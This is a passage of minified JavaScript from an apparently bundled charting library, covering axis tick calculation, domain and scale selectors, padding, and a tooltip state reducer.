o=Math.floor((t-1)/2),l=[],c=0;c<t;c++)l.push(i.add(new Pe(c-o).mul(r)).toNumber());return l},w4=function(t,n,r,i){var a=arguments.length>4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Pe(0),tickMin:new Pe(0),tickMax:new Pe(0)};var o=b4(new Pe(n).sub(t).div(r-1),i,a),l;t<=0&&n>=0?l=new Pe(0):(l=new Pe(t).add(n).div(2),l=l.sub(new Pe(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new Pe(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?w4(t,n,r,i,a+1):(d<r&&(u=n>0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new Pe(c).mul(o)),tickMax:l.add(new Pe(u).mul(o))})},X7=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=y4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return G7(l,i,a);var{step:d,tickMin:f,tickMax:m}=w4(l,c,o,a,0),h=g4(f,m.add(new Pe(.1).mul(d)),d);return n>r?h.reverse():h},Z7=function(t,n){var[r,i]=t,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=y4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=b4(new Pe(l).sub(o).div(c-1),a,0),d=[...g4(new Pe(o),new Pe(l),u),l];return a===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},Q7=e=>e.rootProps.barCategoryGap,al=e=>e.rootProps.stackOffset,j4=e=>e.rootProps.reverseStackOrder,g0=e=>e.options.chartName,y0=e=>e.rootProps.syncId,k4=e=>e.rootProps.syncMethod,b0=e=>e.options.eventEmitter,J7=e=>e.rootProps.baseValue,Ht={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},zi={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},Zn={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},qd=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function N4(e,t,n){if(n!=="auto")return n;if(e!=null)return dr(e,t)?"category":"number"}function ab(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function zu(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?ab(Object(n),!0).forEach(function(r){eI(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ab(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function eI(e,t,n){return(t=tI(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function tI(e){var t=nI(e,"string");return typeof t=="symbol"?t:t+""}function nI(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var sb={allowDataOverflow:zi.allowDataOverflow,allowDecimals:zi.allowDecimals,allowDuplicatedCategory:!1,dataKey:void 0,domain:void 0,id:zi.angleAxisId,includeHidden:!1,name:void 0,reversed:zi.reversed,scale:zi.scale,tick:zi.tick,tickCount:void 0,ticks:void 0,type:zi.type,unit:void 0},ob={allowDataOverflow:Zn.allowDataOverflow,allowDecimals:Zn.allowDecimals,allowDuplicatedCategory:Zn.allowDuplicatedCategory,dataKey:void 0,domain:void 0,id:Zn.radiusAxisId,includeHidden:Zn.includeHidden,name:void 0,reversed:Zn.reversed,scale:Zn.scale,tick:Zn.tick,tickCount:Zn.tickCount,ticks:void 0,type:Zn.type,unit:void 0},rI=(e,t)=>{if(t!=null)return e.polarAxis.angleAxis[t]},w0=T([rI,sN],(e,t)=>{var n;if(e!=null)return e;var r=(n=N4(t,"angleAxis",sb.type))!==null&&n!==void 0?n:"category";return zu(zu({},sb),{},{type:r})}),iI=(e,t)=>e.polarAxis.radiusAxis[t],j0=T([iI,sN],(e,t)=>{var n;if(e!=null)return e;var r=(n=N4(t,"radiusAxis",ob.type))!==null&&n!==void 0?n:"category";return zu(zu({},ob),{},{type:r})}),Yd=e=>e.polarOptions,k0=T([Rr,$r,yt],kN),S4=T([Yd,k0],(e,t)=>{if(e!=null)return sn(e.innerRadius,t,0)}),z4=T([Yd,k0],(e,t)=>{if(e!=null)return sn(e.outerRadius,t,t*.8)}),aI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},C4=T([Yd],aI);T([w0,C4],qd);var P4=T([k0,S4,z4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});T([j0,P4],qd);var E4=T([Me,Yd,S4,z4,Rr,$r],(e,t,n,r,i,a)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:sn(o,i,i/2),cy:sn(l,a,a/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),Ze=(e,t)=>t,sl=(e,t,n)=>n;function N0(e){return e==null?void 0:e.id}function A4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:a}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=N0(l);u.forEach((f,m)=>{var h=a==null||i?m:String(Fe(f,a,null)),x=Fe(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function S0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var Gd=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function Xd(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function sI(e,t){if(e.length===t.length){for(var n=0;n<e.length;n++)if(e[n]!==t[n])return!1;return!0}return!1}var wt=e=>{var t=Me(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},ms=e=>e.tooltip.settings.axisId;function oI(e){if(e in qs)return qs[e]();var t="scale".concat(Go(e));if(t in qs)return qs[t]()}function lb(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(a){function o(){return a.apply(this,arguments)}return o.toString=function(){return a.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(a){var o=i[0],l=i[1];return o<=l?a>=o&&a<=l:a>=l&&a<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?a=>t.call(e,a):void 0,map:(a,o)=>{var l=e(a);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function cb(e,t,n){if(typeof e=="function")return lb(e.copy().domain(t).range(n));if(e!=null){var r=oI(e);if(r!=null)return r.domain(t).range(n),lb(r)}}var _4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!Tr(t)){for(var n,r,i=0;i<t.length;i++){var a=t[i];ze(a)&&((n===void 0||a<n)&&(n=a),(r===void 0||a>r)&&(r=a))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function ub(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Cu(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?ub(Object(n),!0).forEach(function(r){lI(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ub(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function lI(e,t,n){return(t=cI(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function cI(e){var t=uI(e,"string");return typeof t=="symbol"?t:t+""}function uI(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var oh=[0,"auto"],O4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:void 0,height:30,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"bottom",padding:{left:0,right:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"category",unit:void 0},dI=(e,t)=>e.cartesianAxis.xAxis[t],Wr=(e,t)=>{var n=dI(e,t);return n??O4},T4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:oh,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:Qo},fI=(e,t)=>e.cartesianAxis.yAxis[t],Ur=(e,t)=>{var n=fI(e,t);return n??T4},pI={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},z0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??pI},tt=(e,t,n)=>{switch(t){case"xAxis":return Wr(e,n);case"yAxis":return Ur(e,n);case"zAxis":return z0(e,n);case"angleAxis":return w0(e,n);case"radiusAxis":return j0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},mI=(e,t,n)=>{switch(t){case"xAxis":return Wr(e,n);case"yAxis":return Ur(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},hs=(e,t,n)=>{switch(t){case"xAxis":return Wr(e,n);case"yAxis":return Ur(e,n);case"angleAxis":return w0(e,n);case"radiusAxis":return j0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},M4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function C0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var L4=e=>e.graphicalItems.cartesianItems,hI=T([Ze,sl],C0),P0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),ol=T([L4,tt,hI],P0,{memoizeOptions:{resultEqualityCheck:Xd}}),I4=T([ol],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(S0)),D4=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),xI=T([ol],D4),E0=e=>e.map(t=>t.data).filter(Boolean).flat(1),vI=T([ol],E0,{memoizeOptions:{resultEqualityCheck:Xd}}),A0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},_0=T([vI,u4],A0),O0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Fe(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Fe(i,r)}))):e.map(r=>({value:r})),Zd=T([_0,tt,ol],O0);function R4(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function hc(e){if(Pr(e)||e instanceof Date){var t=Number(e);if(ze(t))return t}}function db(e){if(Array.isArray(e)){var t=[hc(e[0]),hc(e[1])];return Tr(t)?t:void 0}var n=hc(e);if(n!=null)return[n,n]}function Mr(e){return e.map(hc).filter(tr)}function gI(e,t,n){return!n||typeof t!="number"||or(t)?[]:n.length?Mr(n.flatMap(r=>{var i=Fe(e,r.dataKey),a,o;if(Array.isArray(i)?[a,o]=i:a=o=i,!(!ze(a)||!ze(o)))return[t-a,t+o]})):[]}var mt=e=>{var t=wt(e),n=ms(e);return hs(e,t,n)},ll=T([mt],e=>e==null?void 0:e.dataKey),yI=T([I4,u4,mt],A4),$4=(e,t,n,r)=>{var i={},a=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(a).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(N0);return[l,{stackedData:rT(e,d,n),graphicalItems:u}]}))},B4=T([yI,I4,al,j4],$4),F4=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:a}=t;if(r==null&&n!=="zAxis"){var o=oT(e,i,a);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},bI=T([tt],e=>e.allowDataOverflow),T0=e=>{var t;if(e==null||!("domain"in e))return oh;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=Mr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:oh},M0=T([tt],T0),L0=T([M0,bI],d4),wI=T([B4,Fr,Ze,L0],F4,{memoizeOptions:{resultEqualityCheck:Gd}}),Qd=e=>e.errorBars,jI=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>R4(n,r)),Pu=function(){for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];var i=n.filter(Boolean);if(i.length!==0){var a=i.flat(),o=Math.min(...a),l=Math.max(...a);return[o,l]}},I0=(e,t,n,r,i)=>{var a,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>R4(i,v)),m=Fe(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=gI(l,m,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(a==null||x<a)&&(a=x),(o==null||g>o)&&(o=g)}var y=db(m);y!=null&&(a=a==null?y[0]:Math.min(a,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=db(Fe(l,t.dataKey));c!=null&&(a=a==null?c[0]:Math.min(a,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),ze(a)&&ze(o))return[a,o]},kI=T([_0,tt,xI,Qd,Ze],I0,{memoizeOptions:{resultEqualityCheck:Gd}});function NI(e){var{value:t}=e;if(Pr(t)||t instanceof Date)return t}var SI=(e,t,n)=>{var r=e.map(NI).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&Fj(r))?AN(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},W4=e=>e.referenceElements.dots,xs=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),zI=T([W4,Ze,sl],xs),U4=e=>e.referenceElements.areas,CI=T([U4,Ze,sl],xs),V4=e=>e.referenceElements.lines,PI=T([V4,Ze,sl],xs),H4=(e,t)=>{if(e!=null){var n=Mr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},EI=T(zI,Ze,H4),K4=(e,t)=>{if(e!=null){var n=Mr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},AI=T([CI,Ze],K4);function _I(e){var t;if(e.x!=null)return Mr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:Mr(n)}function OI(e){var t;if(e.y!=null)return Mr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:Mr(n)}var q4=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?_I(r):OI(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},TI=T([PI,Ze],q4),MI=T(EI,TI,AI,(e,t,n)=>Pu(e,n,t)),D0=(e,t,n,r,i,a,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?Pu(r,a,i):Pu(a,i);return H7(t,u,e.allowDataOverflow)},LI=T([tt,M0,L0,wI,kI,MI,Me,Ze],D0,{memoizeOptions:{resultEqualityCheck:Gd}}),II=[0,1],R0=(e,t,n,r,i,a,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=dr(t,a);if(u&&l==null){var d;return AN(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?SI(r,e,u):i==="expand"?II:o}},$0=T([tt,Me,_0,Zd,al,Ze,LI],R0);function DI(e){return e in qs}var Y4=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var a="scale".concat(Go(r));return DI(a)?a:"point"}}},Ni=T([tt,M4,g0],Y4);function B0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?cb(e.scale,n,r):cb(t,n,r)}var F0=(e,t,n)=>{var r=T0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Tr(e))return X7(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Tr(e))return Z7(e,t.tickCount,t.allowDecimals)}},W0=T([$0,hs,Ni],F0),U0=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&Tr(t)&&Array.isArray(n)&&n.length>0){var i,a,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(a=n[n.length-1])!==null&&a!==void 0?a:0;return[Math.min(o,l),Math.max(c,u)]}return t},RI=T([tt,$0,W0,Ze],U0),$I=T(Zd,tt,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(Mr(e.map(f=>f.value))).sort((f,m)=>f-m),i=r[0],a=r[r.length-1];if(i==null||a==null)return 1/0;var o=a-i;if(o===0)return 1/0;for(var l=0;l<r.length-1;l++){var c=r[l],u=r[l+1];if(!(c==null||u==null)){var d=u-c;n=Math.min(n,d)}}return n/o}}),G4=T($I,Me,Q7,yt,(e,t,n,r,i)=>i,(e,t,n,r,i)=>{if(!ze(e))return 0;var a=t==="vertical"?r.height:r.width;if(i==="gap")return e*a/2;if(i==="no-gap"){var o=sn(n,e*a),l=e*a/2;return l-o-(l-o)/a*o}return 0}),BI=(e,t,n)=>{var r=Wr(e,t);return r==null||typeof r.padding!="string"?0:G4(e,"xAxis",t,n,r.padding)},FI=(e,t,n)=>{var r=Ur(e,t);return r==null||typeof r.padding!="string"?0:G4(e,"yAxis",t,n,r.padding)},WI=T(Wr,BI,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),UI=T(Ur,FI,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),VI=T([yt,WI,Od,_d,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:a}=r;return i?[a.left,n.width-a.right]:[e.left+t.left,e.left+e.width-t.right]}),HI=T([yt,Me,UI,Od,_d,(e,t,n)=>n],(e,t,n,r,i,a)=>{var{padding:o}=i;return a?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),cl=(e,t,n,r)=>{var i;switch(t){case"xAxis":return VI(e,n,r);case"yAxis":return HI(e,n,r);case"zAxis":return(i=z0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return C4(e);case"radiusAxis":return P4(e,n);default:return}},X4=T([tt,cl],qd),KI=T([Ni,RI],_4),Jd=T([tt,Ni,KI,X4],B0);T([ol,Qd,Ze],jI);function Z4(e,t){return e.id<t.id?-1:e.id>t.id?1:0}var ef=(e,t)=>t,tf=(e,t,n)=>n,qI=T(Ed,ef,tf,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(Z4)),YI=T(Ad,ef,tf,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(Z4)),Q4=(e,t)=>({width:e.width,height:t.height}),GI=(e,t)=>{var n=typeof t.width=="number"?t.width:Qo;return{width:n,height:e.height}};T(yt,Wr,Q4);var XI=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},ZI=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},QI=T($r,yt,qI,ef,tf,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=Q4(t,l);o==null&&(o=XI(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;a[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),a}),JI=T(Rr,yt,YI,ef,tf,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=GI(t,l);o==null&&(o=ZI(t,r,e));var u=r==="left"&&!i||r==="right"&&i;a[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),a}),eD=(e,t)=>{var n=Wr(e,t);if(n!=null)return QI(e,n.orientation,n.mirror)};T([yt,Wr,eD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var tD=(e,t)=>{var n=Ur(e,t);if(n!=null)return JI(e,n.orientation,n.mirror)};T([yt,Ur,tD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});T(yt,Ur,(e,t)=>{var n=typeof t.width=="number"?t.width:Qo;return{width:n,height:e.height}});var J4=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:a,dataKey:o}=n,l=dr(e,r),c=t.map(u=>u.value);if(o&&l&&a==="category"&&i&&Fj(c))return c}},V0=T([Me,Zd,tt,Ze],J4),e3=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:a}=n,o=dr(e,r);if(o&&(i==="number"||a!=="auto"))return t.map(l=>l.value)}},H0=T([Me,Zd,hs,Ze],e3);T([Me,mI,Ni,Jd,V0,H0,cl,W0,Ze],(e,t,n,r,i,a,o,l,c)=>{if(t!=null){var u=dr(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:a,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var nD=(e,t,n,r,i,a,o,l,c)=>{if(!(t==null||r==null)){var u=dr(e,c),{type:d,ticks:f,tickCount:m}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&a!=null&&a.length>=2?Ut(a[0]-a[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return ze(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(tr):u&&l?l.map((y,v)=>{var b=r.map(y);return ze(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(tr):r.ticks?r.ticks(m).map((y,v)=>{var b=r.map(y);return ze(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(tr):r.domain().map((y,v)=>{var b=r.map(y);return ze(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(tr)}};T([Me,hs,Ni,Jd,W0,cl,V0,H0,Ze],nD);var rD=(e,t,n,r,i,a,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=dr(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?Ut(r[0]-r[1])*2*u:u,l&&a?a.map((d,f)=>{var m=n.map(d);return ze(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(tr):n.ticks?n.ticks(c).map((d,f)=>{var m=n.map(d);return ze(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(tr):n.domain().map((d,f)=>{var m=n.map(d);return ze(m)?{coordinate:m+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(tr)}},t3=T([Me,hs,Jd,cl,V0,H0,Ze],rD),n3=T(tt,Jd,(e,t)=>{if(!(e==null||t==null))return Cu(Cu({},e),{},{scale:t})}),iD=T([tt,Ni,$0,X4],B0);T((e,t,n)=>z0(e,n),iD,(e,t)=>{if(!(e==null||t==null))return Cu(Cu({},e),{},{scale:t})});var aD=T([Me,Ed,Ad],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),r3=e=>e.options.defaultTooltipEventType,i3=e=>e.options.validateTooltipEventTypes;function a3(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function K0(e,t){var n=r3(e),r=i3(e);return a3(t,n,r)}function sD(e){return ye(t=>K0(t,e))}var s3=(e,t)=>{var n,r=Number(t);if(!(or(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},oD=e=>e.tooltip.settings,Zr={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},lD={itemInteraction:{click:Zr,hover:Zr},axisInteraction:{click:Zr,hover:Zr},keyboardInteraction:Zr,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},o3=Xt({name:"tooltip",initialState:lD,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:Ue()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Fn(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:Ue()},removeTooltipEntrySettings:{reducer(e,t){var n=Fn(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:Ue()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardI